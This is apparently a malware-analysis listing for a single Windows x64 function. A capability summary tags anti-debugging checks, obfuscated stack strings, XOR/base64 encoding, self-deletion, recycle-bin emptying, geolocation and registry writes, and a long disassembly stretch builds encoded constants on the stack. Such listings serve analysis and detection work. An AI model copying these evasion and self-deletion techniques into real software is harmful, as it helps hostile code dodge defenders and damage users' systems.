Function at 0x140001000
Capabilities:
Authenticate hmac
Check for software breakpoints
Check for time delay via queryperformancecounter
Check for unexpected memory writes
Check mutex on windows
Contain obfuscated stackstrings
Create process on windows
Empty the recycle bin
Encode data using base64
Encode data using xor
Extract resource via kernel32 functions
Get disk information
Get file size
Get geographical location
Get system information on windows
Parse pe header
Self delete
Set registry value

Disassembly:
mov dword [rsp + 0x20], r9d
mov qword [rsp + 0x18], r8
mov qword [rsp + 0x10], rdx
mov qword [rsp + 8], rcx
mov eax, 0x459a8
call fcn.1402149d0
sub rsp, rax
movabs rax, 0xf84544b5e6d08a0a
mov qword [rsp + 0xaf60], rax
mov eax, 0x41b
mov word [rsp + 0xcf4], ax
movabs rax, 0x1437245a26f705f9
mov qword [rsp + 0xaf68], rax
mov eax, 0x9c3
mov word [rsp + 0xcf8], ax
mov eax, 0xfc9
mov word [rsp + 0xcfc], ax
mov eax, 0x49e3
mov word [rsp + 0xd00], ax
mov eax, 0x46c7
mov word [rsp + 0xd04], ax
mov byte [rsp + 0x40], 6
movabs rax, 0x768d9f7031fd618d
mov qword [rsp + 0xaf70], rax
mov eax, 0x52b
mov word [rsp + 0xd08], ax
movabs rax, 0x227f37f410dde5ed
mov qword [rsp + 0xaf78], rax
mov dword [rsp + 0x4e8c], 0x1cb45c96
mov byte [rsp + 0x41], 0x5b
mov eax, 0xe6f
mov word [rsp + 0xd0c], ax
mov dword [rsp + 0x4e90], 0x7157bb0
mov dword [rsp + 0x4e94], 0x37570cc8
movabs rax, 0x135369e6d16266c5
mov qword [rsp + 0xaf80], rax
mov dword [rsp + 0x4e98], 0x4f176d43
movabs rax, 0x48f124588f0dd844
mov qword [rsp + 0xaf88], rax
mov dword [rsp + 0x4e9c], 0xe185529e
mov byte [rsp + 0x42], 0x26
mov byte [rsp + 0x43], 0x37
movabs rax, 0x72f1746542ad397f
mov qword [rsp + 0xaf90], rax
movabs rax, 0x6e744a8c2ec27361
mov qword [rsp + 0xaf98], rax
movabs rax, 0xedbe504c08def1c
mov qword [rsp + 0xafa0], rax
mov eax, 0x5024
mov word [rsp + 0xd10], ax
mov eax, 0x20ab
mov word [rsp + 0xd14], ax
mov dword [rsp + 0x4ea0], 0xfdf80162
movabs rax, 0xc0eb86e07141001f
mov qword [rsp + 0xafa8], rax
mov dword [rsp + 0x4ea4], 0x2f3e1d7b
mov dword [rsp + 0x4ea8], 0x3ecf6380
mov eax, 0x7d5
mov word [rsp + 0xd18], ax
mov byte [rsp + 0x44], 0xc2
mov eax, 0xfc1
mov word [rsp + 0xd1c], ax
mov dword [rsp + 0x4eac], 0xbb37cfb6
mov eax, 0xfca
mov word [rsp + 0xd20], ax
mov byte [rsp + 0x45], 0x7d
mov byte [rsp + 0x46], 0xe2
movabs rax, 0xa61aacdd78fdde17
mov qword [rsp + 0xafb0], rax
movabs rax, 0x5f5205ad33141e8d
mov qword [rsp + 0xafb8], rax
mov dword [rsp + 0x4eb0], 0x1dc3ee07
mov dword [rsp + 0x4eb4], 0x1781cf86
mov eax, 0xd85
mov word [rsp + 0xd24], ax
mov dword [rsp + 0x4eb8], 0x32eb3eef
mov eax, 0x63e5
mov word [rsp + 0xd28], ax
mov byte [rsp + 0x47], reloc.SHELL32.dll_ILAppendID
movabs rax, 0x247f1b5c143c310b
mov qword [rsp + 0xafc0], rax
mov dword [rsp + 0x4ebc], 0xee54adfe
mov eax, 0xa88
mov word [rsp + 0xd2c], ax
mov byte [rsp + 0x48], ILCombine
mov dword [rsp + 0x4ec0], 0x4c273ede
mov dword [rsp + 0x4ec4], 0xba4a630a
mov byte [rsp + 0x49], 0x5f
mov byte [rsp + 0x4a], 0x20
mov dword [rsp + 0x4ec8], 0x7fb934ca
mov byte [rsp + 0x4b], 0x3b
mov dword [rsp + 0x4ecc], 0x506736eb
mov eax, 4
mov word [rsp + 0xd30], ax
mov eax, 0x6d7f
mov word [rsp + 0xd34], ax
mov byte [rsp + 0x4c], 0xf6
mov dword [rsp + 0x4ed0], 0xc4c633eb
movabs rax, 0x8896be46de807e71
mov qword [rsp + 0xafc8], rax
mov dword [rsp + 0x4ed4], 0xcfa0f70
movabs rax, 0x4a16f16d79f5541a
mov qword [rsp + 0xafd0], rax
mov eax, 0x4644
mov word [rsp + 0xd38], ax
movabs rax, 0x3d378f9457496865
mov qword [rsp + 0xafd8], rax
mov eax, 0xfd6
mov word [rsp + 0xd3c], ax
movabs rax, 0xfdf26cccfa3fbecf
mov qword [rsp + 0xafe0], rax
mov dword [rsp + 0x4ed8], 0x238c7f2c
movabs rax, 0xb82c7b8e23767637
mov qword [rsp + 0xafe8], rax
movabs rax, 0xd96c97b24d37056a
mov qword [rsp + 0xaff0], rax
movabs rax, 0xe7fb4cf86f497b99
mov qword [rsp + 0xaff8], rax
mov dword [rsp + 0x4edc], 0x1a9b483d
mov dword [rsp + 0x4ee0], 0x568e6215
mov dword [rsp + 0x4ee4], 0x2096a2ac
movabs rax, 0x5ae0f33be01e27a6
mov qword [rsp + 0xb000], rax
mov eax, 0x1533
mov word [rsp + 0xd40], ax
mov byte [rsp + 0x4d], 0x31
mov dword [rsp + 0x4ee8], 0xcee24f72
mov byte [rsp + 0x4e], 0x35
mov byte [rsp + 0x4f], 0xcd
mov eax, 0x758
mov word [rsp + 0xd44], ax
mov byte [rsp + 0x50], ILSaveToStream
movabs rax, 0x291cc22742f64413
mov qword [rsp + 0xb008], rax
movabs rax, 0x5dfe7570c655f1a5
mov qword [rsp + 0xb010], rax
mov eax, 0xd25
mov word [rsp + 0xd48], ax
mov dword [rsp + 0x4eec], 0x13a2726c
movabs rax, 0xab956232e6afb98c
mov qword [rsp + 0xb018], rax
movabs rax, 0x50b082917caf7206
mov qword [rsp + 0xb020], rax
movabs rax, 0xcdfa8b3d9e4cb557
mov qword [rsp + 0xb028], rax
mov dword [rsp + 0x4ef0], 0x3bbfbbf4
movabs rax, 0x418a8bedef97557b
mov qword [rsp + 0xb030], rax
mov dword [rsp + 0x4ef4], 0xf775991e
mov dword [rsp + 0x4ef8], 0xa5689fc2
mov eax, 0xf02
mov word [rsp + 0xd4c], ax
movabs rax, 0x17ce8c6deae6015c
mov qword [rsp + 0xb038], rax
movabs rax, 0x49c4d71db87bb05a
mov qword [rsp + 0xb040], rax
mov byte [rsp + 0x51], 0x38
mov byte [rsp + 0x52], 0x82
mov byte [rsp + 0x53], 0xc4
movabs rax, 0x1ca1c4416c81876d
mov qword [rsp + 0xb048], rax
mov eax, 0x4169
mov word [rsp + 0xd50], ax
mov dword [rsp + 0x4efc], 0x7893e2f5
movabs rax, 0x68fd4aae5c04e81a
mov qword [rsp + 0xb050], rax
mov byte [rsp + 0x54], 0xd9
mov eax, 0x910
mov word [rsp + 0xd54], ax
mov eax, 0x2dc6
mov word [rsp + 0xd58], ax
mov eax, 0x38a
mov word [rsp + 0xd5c], ax
mov byte [rsp + 0x55], 0x53
mov dword [rsp + 0x4f00], 0x8e7df30
mov byte [rsp + 0x56], 3
mov eax, 0x51a7
mov word [rsp + 0xd60], ax
mov eax, 0xa1e
mov word [rsp + 0xd64], ax
mov eax, reloc.SHELL32.dll_ILSaveToStream
mov word [rsp + 0xd68], ax
movabs rax, 0xe3cd4cadc2dfdda7
mov qword [rsp + 0xb058], rax
mov dword [rsp + 0x4f04], 0x996bdbba
mov byte [rsp + 0x57], 0x51
mov dword [rsp + 0x4f08], 0x7ea7b0a1
movabs rax, 0x46b6bbbcd9e1e202
mov qword [rsp + 0xb060], rax
mov dword [rsp + 0x4f0c], 0x2373254e
mov eax, 0x532
mov word [rsp + 0xd6c], ax
mov eax, 0xd7e
mov word [rsp + 0xd70], ax
mov dword [rsp + 0x4f10], 0x920b9513
movabs rax, 0xd0ca12dc089617a
mov qword [rsp + 0xb068], rax
mov dword [rsp + 0x4f14], 0xc9db000
mov dword [rsp + 0x4f18], 0x1f329927
mov eax, 0x7706
mov word [rsp + 0xd74], ax
mov eax, 0xc15
mov word [rsp + 0xd78], ax
mov eax, 0x71de
mov word [rsp + 0xd7c], ax
movabs rax, 0xce78fe1691096945
mov qword [rsp + 0xb070], rax
mov dword [rsp + 0x4f1c], 0x89d3cb12
movabs rax, 0x744a267b28590fba
mov qword [rsp + 0xb078], rax
mov byte [rsp + 0x58], 0x5f
movabs rax, 0x180408174604163f
mov qword [rsp + 0xb080], rax
movabs rax, 0x43c2666e3ef3c14d
mov qword [rsp + 0xb088], rax
mov eax, 0x3042
mov word [rsp + 0xd80], ax
mov byte [rsp + 0x59], reloc.SHELL32.dll_ILCloneFirst
movabs rax, 0x61189915342e769f
mov qword [rsp + 0xb090], rax
mov dword [rsp + 0x4f20], 0x6436b99
mov eax, 0x28d
mov word [rsp + 0xd84], ax
mov byte [rsp + 0x5a], 0xc3
movabs rax, 0x5b10cfe297b01c9f
mov qword [rsp + 0xb098], rax
movabs rax, 0x615912a0333667e0
mov qword [rsp + 0xb0a0], rax
mov eax, 0x305f
mov word [rsp + 0xd88], ax
mov eax, 0x18c
mov word [rsp + 0xd8c], ax
mov byte [rsp + 0x5b], 0xe5
movabs rax, 0x4da472313e96c4a5
mov qword [rsp + 0xb0a8], rax
mov dword [rsp + 0x4f24], 0x27dc769
movabs rax, 0xdb46adf6d44083dc
mov qword [rsp + 0xb0b0], rax
mov eax, 0x5fb
mov word [rsp + 0xd90], ax
mov eax, 0x2c93
mov word [rsp + 0xd94], ax
mov eax, 0x374f
mov word [rsp + 0xd98], ax
mov eax, 0x2c6
mov word [rsp + 0xd9c], ax
movabs rax, 0x7c98780303d6d7e6
mov qword [rsp + 0xb0b8], rax
mov byte [rsp + 0x5c], 0x39
movabs rax, 0xbc05a11e6046ca4b
mov qword [rsp + 0xb0c0], rax
mov eax, 0x706
mov word [rsp + 0xda0], ax
mov eax, 0xcaf
mov word [rsp + 0xda4], ax
movabs rax, 0x420732a01f67f395
mov qword [rsp + 0xb0c8], rax
mov eax, 0x6aea
mov word [rsp + 0xda8], ax
movabs rax, 0x4e484888f83bc2f3
mov qword [rsp + 0xb0d0], rax
mov dword [rsp + 0x4f28], 0xce61df70
mov eax, 0x677
mov word [rsp + 0xdac], ax
mov eax, 0xaa0
mov word [rsp + 0xdb0], ax
mov eax, 0x205b
mov word [rsp + 0xdb4], ax
movabs rax, 0xc7942fb4e7532776
mov qword [rsp + 0xb0d8], rax
mov dword [rsp + 0x4f2c], 0xd9211c18
movabs rax, 0x176cd645e353d795
mov qword [rsp + 0xb0e0], rax
mov byte [rsp + 0x5d], 0xb7
mov eax, 0x4178
mov word [rsp + 0xdb8], ax
mov byte [rsp + 0x5e], 0x1d
movabs rax, 0xb26fe25d8b87002b
mov qword [rsp + 0xb0e8], rax
movabs rax, 0x1fa913b0da23eb79
mov qword [rsp + 0xb0f0], rax
mov byte [rsp + 0x5f], 0x3d
mov eax, 0xae0
mov word [rsp + 0xdbc], ax
mov eax, 0x151
mov word [rsp + 0xdc0], ax
movabs rax, 0x188ff86abc1fca47
mov qword [rsp + 0xb0f8], rax
mov eax, 0x124f
mov word [rsp + 0xdc4], ax
movabs rax, 0x23ef126b44d78f20
mov qword [rsp + 0xb100], rax
mov dword [rsp + 0x4f30], 0x1fab16be
movabs rax, 0x18f0dadb3cce38eb
mov qword [rsp + 0xb108], rax
mov eax, 0xbd4
mov word [rsp + 0xdc8], ax
mov byte [rsp + 0x60], 0x24
mov byte [rsp + 0x61], 0x58
mov eax, 0x4b0
mov word [rsp + 0xdcc], ax
mov eax, 0x6737
mov word [rsp + 0xdd0], ax
mov byte [rsp + 0x62], 0x3d
mov dword [rsp + 0x4f34], 0x53ac4f7e
mov byte [rsp + 0x63], 0x6b
mov eax, 0x41f2
mov word [rsp + 0xdd4], ax
mov eax, 0xa46
mov word [rsp + 0xdd8], ax
movabs rax, 0x1a404621f4c8ea5f
mov qword [rsp + 0xb110], rax
mov eax, 0x806
mov word [rsp + 0xddc], ax
movabs rax, 0x8589b62578935d8d
mov qword [rsp + 0xb118], rax
mov dword [rsp + 0x4f38], 0x3fbea259
mov dword [rsp + 0x4f3c], 0x798a0bf
mov eax, 0xef8
mov word [rsp + 0xde0], ax
mov eax, 0x662
mov word [rsp + 0xde4], ax
mov dword [rsp + 0x4f40], 0x6a1ea782
mov byte [rsp + 0x64], 0x2f
mov eax, 0x391
mov word [rsp + 0xde8], ax
mov eax, 0x3188
mov word [rsp + 0xdec], ax
mov eax, 0xe29
mov word [rsp + 0xdf0], ax
movabs rax, 0x75e43a2d2c9690e5
mov qword [rsp + 0xb120], rax
mov eax, 0x2c1
mov word [rsp + 0xdf4], ax
movabs rax, 0xc4639b62be37906a
mov qword [rsp + 0xb128], rax
mov eax, 0x7f2
mov word [rsp + 0xdf8], ax
mov dword [rsp + 0x4f44], 0x2e48555f
mov byte [rsp + 0x65], 0x6a
mov byte [rsp + 0x66], 0x1c
mov dword [rsp + 0x4f48], 0x1150b412
mov dword [rsp + 0x4f4c], 0x6ffd2e7c
mov byte [rsp + 0x67], 0x29
mov eax, 0x2902
mov word [rsp + 0xdfc], ax
movabs rax, 0x528e039e219a097c
mov qword [rsp + 0xb130], rax
movabs rax, 0x7d834b39a7fd68cd
mov qword [rsp + 0xb138], rax
mov eax, 0x4ed3
mov word [rsp + 0xe00], ax
mov dword [rsp + 0x4f50], 0x33d7e1cf
movabs rax, 0x92d2bd7ab5521b3
mov qword [rsp + 0xb140], rax
mov dword [rsp + 0x4f54], 0x47c94a30
movabs rax, 0x34ddfdd89f018d53
mov qword [rsp + 0xb148], rax
mov dword [rsp + 0x4f58], 0x519ee0ec
mov eax, 0x6ee
mov word [rsp + 0xe04], ax
mov dword [rsp + 0x4f5c], 0x7b942f0f
mov dword [rsp + 0x4f60], 0x29627c7a
mov eax, 0x4282
mov word [rsp + 0xe08], ax
mov eax, 0xfe3
mov word [rsp + 0xe0c], ax
mov dword [rsp + 0x4f64], 0x60b21af2
mov eax, 0x3841
mov word [rsp + 0xe10], ax
mov dword [rsp + 0x4f68], 0x85740a8
movabs rax, 0x51ee787cbadb6be3
mov qword [rsp + 0xb150], rax
mov eax, 0xd97
mov word [rsp + 0xe14], ax
mov dword [rsp + 0x4f6c], 0x263e778c
movabs rax, 0x8e033b2c51781ac6
mov qword [rsp + 0xb158], rax
mov eax, 0x6202
mov word [rsp + 0xe18], ax
mov byte [rsp + 0x68], 0x5a
mov eax, 0xeb7
mov word [rsp + 0xe1c], ax
mov eax, 0x481f
mov word [rsp + 0xe20], ax
mov dword [rsp + 0x4f70], 0x72c2b0b5
mov eax, 0x45e8
mov word [rsp + 0xe24], ax
movabs rax, 0x45b98facec1db971
mov qword [rsp + 0xb160], rax
mov eax, 0x63b
mov word [rsp + 0xe28], ax
mov eax, 0x783
mov word [rsp + 0xe2c], ax
mov dword [rsp + 0x4f74], 0x4b66888c
movabs rax, 0x22705c53e02d1e78
mov qword [rsp + 0xb168], rax
movabs rax, 0x4d8992bf3031802d
mov qword [rsp + 0xb170], rax
mov dword [rsp + 0x4f78], 0x34f0edd2
mov dword [rsp + 0x4f7c], 0x2991bde1
movabs rax, 0x209893e9d77d4084
mov qword [rsp + 0xb178], rax
mov dword [rsp + 0x4f80], 0x4c7d5bab
mov dword [rsp + 0x4f84], 0x23e898c1
movabs rax, 0x79e2b07dd20cc403
mov qword [rsp + 0xb180], rax
movabs rax, 0xdb60c01292e7361b
mov qword [rsp + 0xb188], rax
mov dword [rsp + 0x4f88], 0x9249488e
mov byte [rsp + 0x69], 0x29
mov eax, 0x17f
mov word [rsp + 0xe30], ax
mov eax, 0xfd3
mov word [rsp + 0xe34], ax
movabs rax, 0xa7ce212951058e4
mov qword [rsp + 0xb190], rax
mov byte [rsp + 0x6a], reloc.SHELL32.dll_ILIsEqual
mov dword [rsp + 0x4f8c], 0x711f1a07
mov dword [rsp + 0x4f90], 0x2515eb4d
mov dword [rsp + 0x4f94], 0x15d404d0
mov eax, 0x477c
mov word [rsp + 0xe38], ax
movabs rax, 0x70d07cfcea825e52
mov qword [rsp + 0xb198], rax
mov eax, 0x67c
mov word [rsp + 0xe3c], ax
mov eax, 0x9bb
mov word [rsp + 0xe40], ax
mov eax, 0x145
mov word [rsp + 0xe44], ax
mov eax, 0x942
mov word [rsp + 0xe48], ax
movabs rax, 0xc0f62897aa9df439
mov qword [rsp + 0xb1a0], rax
mov eax, 0x56e
mov word [rsp + 0xe4c], ax
mov byte [rsp + 0x6b], 1
mov eax, 0x47b4
mov word [rsp + 0xe50], ax
mov byte [rsp + 0x6c], 0x36
movabs rax, 0x253af019df9064c8
mov qword [rsp + 0xb1a8], rax
mov eax, 0x5ac
mov word [rsp + 0xe54], ax
movabs rax, 0x6034d349a6c66e12
mov qword [rsp + 0xb1b0], rax
movabs rax, 0x6f7520783d1f132c
mov qword [rsp + 0xb1b8], rax
mov dword [rsp + 0x4f98], 0x97447d26
movabs rax, 0x7031ba17a6288f42
mov qword [rsp + 0xb1c0], rax
mov dword [rsp + 0x4f9c], 0x6d95f22c
mov eax, 0x71
mov word [rsp + 0xe58], ax
mov byte [rsp + 0x6d], reloc.SHELL32.dll_ILCombine
movabs rax, 0x287ee78f0d38bf60
mov qword [rsp + 0xb1c8], rax
mov dword [rsp + 0x4fa0], 0x6d874d6e
mov eax, 0x852
mov word [rsp + 0xe5c], ax
mov byte [rsp + 0x6e], 0x4c
mov byte [rsp + 0x6f], 0x2e
mov byte [rsp + 0x70], 0x4c
mov dword [rsp + 0x4fa4], 0x63e1bea5
movabs rax, 0x524a5a9ea4754ece
mov qword [rsp + 0xb1d0], rax
mov byte [rsp + 0x71], 0x50
movabs rax, 0x6352114b78fbca3a
mov qword [rsp + 0xb1d8], rax
mov byte [rsp + 0x72], 0x37
mov dword [rsp + 0x4fa8], 0x52193c5a
movabs rax, 0xc3896b5805700371
mov qword [rsp + 0xb1e0], rax
mov byte [rsp + 0x73], reloc.SHELL32.dll_ILCloneFirst
mov byte [rsp + 0x74], 0x32
mov dword [rsp + 0x4fac], 0xa2a202d1
movabs rax, 0x280b2df2c3895803
mov qword [rsp + 0xb1e8], rax
movabs rax, 0x71b4ef73272ed97e
mov qword [rsp + 0xb1f0], rax
mov eax, 0x8f0
mov word [rsp + 0xe60], ax
mov byte [rsp + 0x75], 5
mov dword [rsp + 0x4fb0], 0x7c11131b
mov eax, 0x6ed
mov word [rsp + 0xe64], ax
mov dword [rsp + 0x4fb4], 0xab645667
mov eax, 0x115
mov word [rsp + 0xe68], ax
mov byte [rsp + 0x76], 0x8d
movabs rax, 0x6213e8b95659f63c
mov qword [rsp + 0xb1f8], rax
mov byte [rsp + 0x77], 0x2c
movabs rax, 0x28156ce45495edd4
mov qword [rsp + 0xb200], rax
mov dword [rsp + 0x4fb8], 0x590ee5b3
movabs rax, 0x6b37f449bef184db
mov qword [rsp + 0xb208], rax
mov dword [rsp + 0x4fbc], 0x111c96d5
mov byte [rsp + 0x78], ILGetNext
mov eax, 0x5b67
mov word [rsp + 0xe6c], ax
mov eax, 0x63a
mov word [rsp + 0xe70], ax
mov dword [rsp + 0x4fc0], 0x94c667d5
mov eax, 0x60f
mov word [rsp + 0xe74], ax
mov eax, 0x471
mov word [rsp + 0xe78], ax
mov dword [rsp + 0x4fc4], 0x58752832
mov byte [rsp + 0x79], 0xb5
mov dword [rsp + 0x4fc8], 0x54269530
mov dword [rsp + 0x4fcc], 0x93cdd0e6
mov eax, 0xd19
mov word [rsp + 0xe7c], ax
mov eax, 0x430
mov word [rsp + 0xe80], ax
movabs rax, 0xfd4b91853310e65c
mov qword [rsp + 0xb210], rax
mov eax, 0x1a7d
mov word [rsp + 0xe84], ax
mov eax, 0x1f1
mov word [rsp + 0xe88], ax
movabs rax, 0x5ab8906d41b5f633
mov qword [rsp + 0xb218], rax
mov dword [rsp + 0x4fd0], 0x41103822
movabs rax, 0xf1396ccb691e766f
mov qword [rsp + 0xb220], rax
mov eax, 0x97e
mov word [rsp + 0xe8c], ax
mov byte [rsp + 0x7a], reloc.SHELL32.dll_SHGetNewLinkInfoW
movabs rax, 0x598636c3f1040a7d
mov qword [rsp + 0xb228], rax
mov dword [rsp + 0x4fd4], 0x38319cf9
mov dword [rsp + 0x4fd8], 0xbd91ee17
mov dword [rsp + 0x4fdc], 0x4760f64
movabs rax, 0x34ae1d33ff9df373
mov qword [rsp + 0xb230], rax
mov eax, 0x328
mov word [rsp + 0xe90], ax
mov dword [rsp + 0x4fe0], 0x92475bab
movabs rax, 0x25f48d2c8d599441
mov qword [rsp + 0xb238], rax
movabs rax, 0x3618df418b6364d5
mov qword [rsp + 0xb240], rax
mov eax, 0xa3
mov word [rsp + 0xe94], ax
movabs rax, 0xdcea5e4dfe72cbb5
mov qword [rsp + 0xb248], rax
mov byte [rsp + 0x7b], 0x40
movabs rax, 0x17de849788c587a0
mov qword [rsp + 0xb250], rax
mov dword [rsp + 0x4fe4], 0x6a1c93a3
mov dword [rsp + 0x4fe8], 0x1cbbd6dc
mov byte [rsp + 0x7c], pe_nt_image_headers64
mov eax, 0x7af0
mov word [rsp + 0xe98], ax
mov eax, 0x2717
mov word [rsp + 0xe9c], ax
mov eax, 0x783
mov word [rsp + 0xea0], ax
mov byte [rsp + 0x7d], 3
mov dword [rsp + 0x4fec], 0x9ca5899
mov eax, 0xf26
mov word [rsp + 0xea4], ax
mov byte [rsp + 0x7e], 0x2d
mov dword [rsp + 0x4ff0], 0x9225ca0
mov dword [rsp + 0x4ff4], 0x183715d2
mov eax, 0x59da
mov word [rsp + 0xea8], ax
mov dword [rsp + 0x4ff8], 0x83272545
mov dword [rsp + 0x4ffc], 0x2fd0fe5
movabs rax, 0xf26d3a2a9230994f
mov qword [rsp + 0xb258], rax
movabs rax, 0x41b823609520eb10
mov qword [rsp + 0xb260], rax
mov eax, 0x5d55
mov word [rsp + 0xeac], ax
mov byte [rsp + 0x7f], 0x78
mov byte [rsp + 0x80], 0x54
mov eax, 0x46d
mov word [rsp + 0xeb0], ax
mov byte [rsp + 0x81], 0x79
mov eax, 0x7644
mov word [rsp + 0xeb4], ax
mov eax, 0x2ff
mov word [rsp + 0xeb8], ax
movabs rax, 0x10b06b6df9cdde42
mov qword [rsp + 0xb268], rax
mov dword [rsp + 0x5000], 0x733486ac
mov byte [rsp + 0x82], 0x4c
mov eax, 0x3a58
mov word [rsp + 0xebc], ax
movabs rax, 0xbeacb527e20cf4f2
mov qword [rsp + 0xb270], rax
mov dword [rsp + 0x5004], 0x2d825928
mov byte [rsp + 0x83], 0xd0
movabs rax, 0xcbb21024b860c22c
mov qword [rsp + 0xb278], rax
mov eax, 0x4f1c
mov word [rsp + 0xec0], ax
mov eax, 0x49f5
mov word [rsp + 0xec4], ax
mov eax, 0xc53
mov word [rsp + 0xec8], ax
mov byte [rsp + 0x84], 0x2d
mov dword [rsp + 0x5008], 0x26de7295
mov eax, 0x2476
mov word [rsp + 0xecc], ax
mov dword [rsp + 0x500c], 0x66600ac6
movabs rax, 0x5448f74b5bfa85b
mov qword [rsp + 0xb280], rax
mov byte [rsp + 0x85], ILCloneFirst
movabs rax, 0x5d6478d47dca4340
mov qword [rsp + 0xb288], rax
movabs rax, 0x94dfda5d737356e
mov qword [rsp + 0xb290], rax
movabs rax, 0x63408873e9b8b3b0
mov qword [rsp + 0xb298], rax
mov byte [rsp + 0x86], 0x64
mov dword [rsp + 0x5010], 0x571620f4
mov dword [rsp + 0x5014], 0x5aec02aa
mov dword [rsp + 0x5018], 0x9804ec5b
mov eax, 0xcd7
mov word [rsp + 0xed0], ax
mov byte [rsp + 0x87], 4
movabs rax, 0x176fea545916b010
mov qword [rsp + 0xb2a0], rax
mov eax, 0x1796
mov word [rsp + 0xed4], ax
mov dword [rsp + 0x501c], 0x3c2aac6b
mov dword [rsp + 0x5020], 0x1247fbe
movabs rax, 0x70ca9a8ae43a2a8
mov qword [rsp + 0xb2a8], rax
mov dword [rsp + 0x5024], 0x49fc866d
movabs rax, 0x75f33a008fadbef4
mov qword [rsp + 0xb2b0], rax
mov byte [rsp + 0x88], reloc.SHELL32.dll_ILCombine
movabs rax, 0x1e14082d5cba67bd
mov qword [rsp + 0xb2b8], rax
mov eax, 0x70b8
mov word [rsp + 0xed8], ax
mov byte [rsp + 0x89], 0xfc
mov byte [rsp + 0x8a], 0x65
mov byte [rsp + 0x8b], 0x69
mov eax, 0x34bd
mov word [rsp + 0xedc], ax
mov eax, 0xc5c
mov word [rsp + 0xee0], ax
movabs rax, 0x4566f0f1736c0481
mov qword [rsp + 0xb2c0], rax
movabs rax, 0xadddf13183c408ee
mov qword [rsp + 0xb2c8], rax
mov byte [rsp + 0x8c], ILGetNext
mov eax, 0x879
mov word [rsp + 0xee4], ax
mov byte [rsp + 0x8d], 0xed
mov dword [rsp + 0x5028], 0x5430c1f
mov byte [rsp + 0x8e], SHUpdateImageW
mov dword [rsp + 0x502c], 0x7d73a56c
mov dword [rsp + 0x5030], 0xeceefb95
mov eax, 0x13d7
mov word [rsp + 0xee8], ax
mov eax, 0xb92
mov word [rsp + 0xeec], ax
mov eax, 0xb45
mov word [rsp + 0xef0], ax
mov byte [rsp + 0x8f], 0x75
movabs rax, 0x68b1f24e6306fcca
mov qword [rsp + 0xb2d0], rax
mov byte [rsp + 0x90], 0x4f
movabs rax, 0x63c95c8bf9f48b2a
mov qword [rsp + 0xb2d8], rax
mov eax, 0xee2
mov word [rsp + 0xef4], ax
mov dword [rsp + 0x5034], 0x443d56d3
mov dword [rsp + 0x5038], 0x61ff93d
mov eax, 0x6c23
mov word [rsp + 0xef8], ax
movabs rax, 0x85ff7d419621dd70
mov qword [rsp + 0xb2e0], rax
mov dword [rsp + 0x503c], 0xf3d12b4f
movabs rax, 0x42e4cf5b512f0d97
mov qword [rsp + 0xb2e8], rax
mov dword [rsp + 0x5040], 0xd48c3691
mov dword [rsp + 0x5044], 0x33bed07d
mov eax, 0x1a25
mov word [rsp + 0xefc], ax
mov dword [rsp + 0x5048], 0x8e02cc88
mov eax, 0x41
mov word [rsp + 0xf00], ax
mov byte [rsp + 0x91], reloc.SHELL32.dll_ILIsParent
movabs rax, 0x1e55b471ab848bd5
mov qword [rsp + 0xb2f0], rax
movabs rax, 0x784bd08cdfdb467b
mov qword [rsp + 0xb2f8], rax
mov eax, 0xe55
mov word [rsp + 0xf04], ax
mov byte [rsp + 0x92], ILCombine
mov dword [rsp + 0x504c], 0x62ba95fa
mov eax, 0x61e2
mov word [rsp + 0xf08], ax
mov dword [rsp + 0x5050], 0xac613c07
movabs rax, 0x836807711328cbf8
mov qword [rsp + 0xb300], rax
movabs rax, 0x3564416df10cb461
mov qword [rsp + 0xb308], rax
mov eax, 0x33c
mov word [rsp + 0xf0c], ax
mov eax, 0xe49
mov word [rsp + 0xf10], ax
mov eax, 5
mov word [rsp + 0xf14], ax
mov dword [rsp + 0x5054], 0xa7d91299
mov eax, 0xec1
mov word [rsp + 0xf18], ax
mov eax, 0x23a
mov word [rsp + 0xf1c], ax
mov eax, 0x4d2
mov word [rsp + 0xf20], ax
mov dword [rsp + 0x5058], 0x55134ae0
mov eax, 0x5ad8
mov word [rsp + 0xf24], ax
movabs rax, 0xb6d7956156479430
mov qword [rsp + 0xb310], rax
mov byte [rsp + 0x93], ILCreateFromPathW
mov eax, 0xeae
mov word [rsp + 0xf28], ax
movabs rax, 0x244c05b9c53661ab
mov qword [rsp + 0xb318], rax
mov eax, 0x2006
mov word [rsp + 0xf2c], ax
mov byte [rsp + 0x94], 0xfb
movabs rax, 0xa5ea4bbcc51c1ff6
mov qword [rsp + 0xb320], rax
mov byte [rsp + 0x95], 0xf3
mov eax, 0xd1
mov word [rsp + 0xf30], ax
mov eax, 0x3c3
mov word [rsp + 0xf34], ax
mov dword [rsp + 0x505c], 0x39bcefbd
mov eax, 0xaac
mov word [rsp + 0xf38], ax
movabs rax, 0xfe5d9d45985445e0
mov qword [rsp + 0xb328], rax
mov dword [rsp + 0x5060], 0xb1829015
mov dword [rsp + 0x5064], 0xb6af7c7f
mov byte [rsp + 0x96], 0x22
movabs rax, 0xc7117c843597fe8d
mov qword [rsp + 0xb330], rax
mov byte [rsp + 0x97], 9
mov byte [rsp + 0x98], reloc.SHELL32.dll_ILCombine
mov dword [rsp + 0x5068], 0x53b4fce8
movabs rax, 0x750ac3dd75137a4d
mov qword [rsp + 0xb338], rax
mov byte [rsp + 0x99], reloc.SHELL32.dll_ILGetSize
mov dword [rsp + 0x506c], 0x140665dd
mov byte [rsp + 0x9a], PathYetAnotherMakeUniqueName
mov eax, 0x68
mov word [rsp + 0xf3c], ax
mov dword [rsp + 0x5070], 0x57259603
mov eax, 0x4ff4
mov word [rsp + 0xf40], ax
mov byte [rsp + 0x9b], 5
mov byte [rsp + 0x9c], 0x9d
mov dword [rsp + 0x5074], 0x9492fb3b
mov eax, 0xf37
mov word [rsp + 0xf44], ax
mov dword [rsp + 0x5078], 0xa0176864
mov dword [rsp + 0x507c], 0xd0cbedf
movabs rax, 0x7b4597e76644befb
mov qword [rsp + 0xb340], rax
mov eax, 0x5049
mov word [rsp + 0xf48], ax
mov byte [rsp + 0x9d], 0x6e
mov byte [rsp + 0x9e], 0xfc
mov eax, 0xfc9
mov word [rsp + 0xf4c], ax
movabs rax, 0x4f046fddc89ab674
mov qword [rsp + 0xb348], rax
mov eax, 0x834
mov word [rsp + 0xf50], ax
mov byte [rsp + 0x9f], 0
mov eax, 0x2426
mov word [rsp + 0xf54], ax
mov eax, 0x8a0
mov word [rsp + 0xf58], ax
mov dword [rsp + 0x5080], 0x4a3c04ab
mov byte [rsp + 0xa0], reloc.SHELL32.dll_ILSaveToStream
mov eax, 0xcd8
mov word [rsp + 0xf5c], ax
mov byte [rsp + 0xa1], ILCloneFirst
